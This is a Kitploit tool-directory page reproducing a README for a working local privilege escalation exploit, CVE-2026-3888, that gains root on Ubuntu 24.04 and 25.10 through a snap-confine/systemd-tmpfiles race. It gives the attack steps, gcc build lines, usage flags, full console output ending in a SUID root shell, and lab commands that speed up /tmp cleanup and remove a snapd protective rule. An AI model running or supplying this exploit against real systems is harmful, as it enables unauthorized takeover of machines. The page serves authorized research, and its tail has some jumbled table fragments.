Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE — Local privilege escalation exploit for CVE-2026-3888 targeting snap-confine and systemd-tmpfiles on Ubuntu, providing SUID and capabilities variants to achieve root access. | Kitploit
Tools/GitHubGitHub/thecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingLearning & EducationRed TeamingBinary ExploitationLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubthecybergeek/cve-2026-3888-snap-confine-systemd-tmpfiles-lpe

CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

Local privilege escalation exploit for CVE-2026-3888 targeting snap-confine and systemd-tmpfiles on Ubuntu, providing SUID and capabilities variants to achieve root access.

View Repository
1725 months agoNot yet reviewed

CVE-2026-3888 — snap-confine / systemd-tmpfiles Local Privilege Escalation

Local privilege escalation from unprivileged user to full root on Ubuntu Desktop 24.04+ by exploiting a TOCTOU race condition between snap-confine and systemd-tmpfiles. Two variants are provided: SUID and Capabilities.

CVSS: 7.8 (High) | Advisory: Qualys | Patch: snapd 2.74.2, March 17, 2026

Table of Contents

  • Variant Comparison
  • Variant 1 — SUID
    • How It Works
    • Files
    • Build
    • Usage
    • Requirements
    • Output
  • Variant 2 — Capabilities
    • How It Works
    • Files
    • Build
    • Usage
    • Requirements
    • Output
  • Lab Setup
  • Disclaimer

Variant Comparison


Variant 1 — SUID

How It Works

  1. systemd-tmpfiles deletes the stale .snap mimic directory under /tmp (30-day age-out)
  2. Attacker recreates it with controlled content — all files owned by the attacker
  3. Exploit single-steps snap-confine via AF_UNIX socket backpressure to reliably win the race during the mimic bind-mount sequence
  4. Attacker-owned libraries are mounted into the sandbox as root
  5. ld-linux-x86-64.so.2 is replaced with shellcode that calls setreuid(0,0) + execve
  6. Executing SUID snap-confine triggers the shellcode with root privileges
  7. SUID bash is dropped to /var/snap/firefox/common/ to escape the sandbox

Files

FileDescription
exploit_suid.cUnified single-binary exploit — all 7 phases in one fork-based orchestrator
librootshell_suid.cPayload — minimal ELF that replaces ld-linux-x86-64.so.2 via raw x86_64 syscalls

Build

root@kitploit:~
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c

Both must be compiled on (or cross-compiled for) x86_64 Linux. exploit is statically linked so it runs inside the snap sandbox without library dependencies. librootshell.so uses -nostdlib because it contains only raw syscalls — no libc.

Usage

root@kitploit:~
./exploit <librootshell.so> [-d] [-s]
FlagDescription
-dShow snap-confine debug output (verbose mode)
-sSkip the .snap cleanup wait (requires root password)
root@kitploit:~
# Normal run
./exploit ./librootshell.so

# Debug mode
./exploit ./librootshell.so -d

# Retry after failure
./exploit ./librootshell.so -s

The exploit enters the sandbox, waits for systemd-tmpfiles to delete .snap (up to 10 days on stock Ubuntu 25.10 and up to 30 days on stock Ubuntu 24.04), then runs the race automatically. On success, drops to a root shell.

Requirements

  • Ubuntu 24.04+ with unpatched snapd (< 2.74.2)
  • snap-confine must be SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)
  • A snap with layout bind-mounts installed (firefox, snap-store, etc.)
  • systemd-tmpfiles-clean.timer active
  • busybox available on the target (/usr/bin/busybox)

Output

root@kitploit:~
user@ubuntu:~$ snap --version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)

[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122

[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.

[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.

[Phase 4] Setting up and running the race...
[*]   Working directory: /proc/3122/cwd
[*]   Building .snap and .exchange...
[*]   285 entries copied to exchange directory
[*]   Starting race...
[*]   Monitoring snap-confine (child PID 3543)...

[!]   TRIGGER — swapping directories...
[+]   SWAP DONE — race won!
[*]   ld-linux in namespace: user:user 755
[+]   Poisoned namespace PID: 3543

[Phase 5] Injecting payload into poisoned namespace...
[+]   ld-linux owned by uid 1000 (attacker). Race confirmed.
[*]   Planting busybox...
[*]   Writing escape script → /tmp/sh
[*]   Overwriting ld-linux-x86-64.so.2...
[+]   Payload injected.

[Phase 6] Triggering root via SUID snap-confine...
[*]   snap-confine → snap-confine (SUID trigger)
[*]   Exit status: 0

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...

================================================================
  ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================

bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)

Variant 2 — Capabilities

How It Works

  1. systemd-tmpfiles deletes the stale .snap mimic directory under /tmp
  2. Attacker recreates it with controlled content — all files owned by the attacker
  3. Exploit single-steps snap-confine via AF_UNIX socket backpressure to reliably win the race during the /var/lib mimic bind-mount sequence
  4. Attacker gains control of /var/lib/snapd/mount/snap.snap-store.user-fstab
  5. user-fstab entries bind-mount a poisoned /etc (with ld.so.preload) into the sandbox
  6. Executing a SUID-root su binary from /tmp/.snap preloads librootshell.so which calls setreuid(0,0) +

Files

FileDescription
exploit_caps.cUnified single-binary exploit — all 7 phases in one fork-based orchestrator
librootshell_caps.cPayload — shared library with constructor that calls setreuid(0,0) + execve

Build

root@kitploit:~
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c

Both must be compiled on (or cross-compiled for) x86_64 Linux. exploit is statically linked so it runs inside the snap sandbox without library dependencies. librootshell.so uses -nostartfiles and a __attribute__((constructor)) — it is loaded via ld.so.preload before the target binary's main().

Usage

root@kitploit:~
./exploit <librootshell.so> [-d] [-s]
FlagDescription
-dShow snap-confine debug output (verbose mode)
-sSkip the .snap cleanup wait (use when .snap is already gone)
root@kitploit:~
# Normal run
./exploit ./librootshell.so

# Debug mode
./exploit ./librootshell.so -d

# Skip wait (retry)
./exploit ./librootshell.so -s

The exploit enters the sandbox, waits for systemd-tmpfiles to delete .snap (up to 10 days on stock Ubuntu 25.10 and up to 30 days on stock Ubuntu 24.04), then runs the race automatically. On success, drops to a root shell.

Requirements

  • Ubuntu Desktop 24.04+ with unpatched snapd (< 2.74.2, tested on 2.71.1)
  • snap-confine must have capabilities (cap_sys_admin, cap_chown, cap_dac_override, etc.)
  • snap-store snap installed (default on Ubuntu Desktop)
  • core22 base snap installed
  • systemd-tmpfiles-clean.timer active
  • busybox available on the target (/usr/bin/busybox)

Output

root@kitploit:~
user@ubuntu:~$ snap --version
snap    2.71.1+ubuntu25.10.1
snapd   2.71.1+ubuntu25.10.1
series  16
ubuntu  25.10
kernel  6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so 
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE 
================================================================
[*] Payload: /home/user/./librootshell.so (14320 bytes)

[Phase 1] Entering snap-store sandbox...
[+] Inner shell PID: 3501

[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 10 days on Ubuntu 25.10).
[*] Hint: use -s to skip.
[+] .snap deleted.

[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace destroyed (.mnt gone).

[Phase 4] Setting up and running the race...
[*]   Working directory: /proc/3501/cwd
[*]   Building .snap and .exchange...
[*]   17 entries copied to exchange directory
[*]   Starting race...
[*]   Monitoring snap-confine (child PID 3678)...

[!]   TRIGGER — swapping directories...
[+]   SWAP DONE — race won!
[+]   Race won. /var/lib/snapd is now user-owned.

[Phase 5] Setting up payload and user-fstab...
[*]   Copying /etc to .snap/etc...
[*]   Writing ld.so.preload...
[*]   Writing user-fstab...
[*]   Copying librootshell.so to /tmp/...
[*]   Copying busybox...
[*]   Writing escape script...
[*]   Swapping var/lib back (restoring original snapd metadata)...
[+]   Payload ready.

[Phase 6] Triggering root via SUID binary in /tmp/.snap...
[*]   Executing: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*]   Exit status: 0

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/snap-store/common/bash (mode 4755)
[*] Cleaning up background processes...

================================================================
  ROOT SHELL: /var/snap/snap-store/common/bash -p
================================================================

bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)

Lab Setup

On a stock Ubuntu install, .snap cleanup takes 30 days (24.04) or 10 days (25.10). To speed this up for testing, reduce the /tmp age and timer interval:

Reduce /tmp cleanup age to 4 minutes

Edit /usr/lib/tmpfiles.d/tmp.conf (as root):

root@kitploit:~
# Change the age from 30d to 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf

Verify:

root@kitploit:~
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# Should show: q /tmp 1777 root root 4m

Speed up the cleanup timer to run every minute

root@kitploit:~
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer

Verify:

root@kitploit:~
systemctl list-timers systemd-tmpfiles-clean
# NEXT column should show ~1 minute from now

Remove .snap exclude (snapd 2.73+ only)

snapd 2.73+ adds an exclude rule that prevents tmpfiles from cleaning .snap. If your system has this, check and remove it:

root@kitploit:~
cat /usr/lib/tmpfiles.d/snapd.conf
# If you see: x /tmp/snap-private-tmp/*/tmp/.snap
# Remove that line, or downgrade to snapd 2.71.1

With these settings, .snap will be cleaned up within ~5 minutes of going stale, allowing rapid iteration during testing.


Disclaimer

This code is provided strictly for educational purposes, authorized security research, and penetration testing engagements where explicit written permission has been obtained. The author assumes no liability for misuse of this software. By using this code, you agree that you are solely responsible for your actions and any consequences that arise from its use. Do not use this code against systems you do not own or have explicit authorization to test.

Download Tool
Ubuntu 24.04 (SUID)Ubuntu 25.10 (Capabilities)
snap-confineSUID-rootCapabilities (cap_sys_admin, etc.)
Target snapfirefoxsnap-store
Mimic target/usr/lib/x86_64-linux-gnu (~285 entries)/var/lib (~17 entries)
Exploit vectorOverwrite ld-linux-x86-64.so.2 with shellcodeControl user-fstab + ld.so.preload
Payload formatStatic ELF with raw syscallsShared library with __attribute__((constructor))
Root triggerSUID snap-confine loads poisoned dynamic linkerSUID su in /tmp/.snap preloads .so
cgroup requirementAny snap.* nameExact match: snap.snap-store.hook.configure
.snap cleanup30 days10 days
Sandbox escape/var/snap/firefox/common/bash/var/snap/snap-store/common/bash
execve("/tmp/sh")
  • SUID bash is dropped to /var/snap/snap-store/common/ to escape the sandbox